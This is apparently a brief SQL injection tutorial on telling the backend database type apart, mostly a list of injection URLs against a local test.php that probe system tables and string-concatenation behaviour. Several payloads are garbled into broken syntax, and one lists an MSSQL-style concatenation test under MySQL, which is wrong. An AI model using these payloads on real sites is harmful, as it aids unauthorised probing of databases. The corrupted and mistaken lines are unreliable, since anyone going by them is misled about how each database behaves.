Judgment of backend database type:

First, through the error information returned on the page, in general, the error report on the page will show what type of database it is. I won't say much about it here.

Second, judge by the unique data tables of each database:

1. Mssql database

Http://127.0.0.1/test.php?id=1 and (select count (*) from sysobjects) > 0 and 1

2. Access database

Http://127.0.0.1/test.php?id=1 and (select count (*) from msysobjects) > 0 and 1

3. Mysql database (mysql version 5.0 or above)

Http://127.0.0.1/test.php?id=1 and (select count (*) from information_schema.TABLES) > 0 and 1

4. Oracle database

Http://127.0.0.1/test.php?id=1 and (select count (*) from sys.user_tables) > 0 and 1

Third, judge the database type by the unique connectors of each database:

1. Mssql database

Http://127.0.0.1/test.php?id=1 and'1' +'1' = '11'

2. Mysql database

Http://127.0.0.1/test.php?id=1 and'1' +'1' = '11'

Http://127.0.0.1/test.php?id=1 and CONCAT ('1m, 1') = '11'

3. Oracle database

Http://127.0.0.1/test.php?id=1 and'1' | | '1thanks' 11'

Http://127.0.0.1/test.php?id=1 and CONCAT ('1m, 1') = '11'
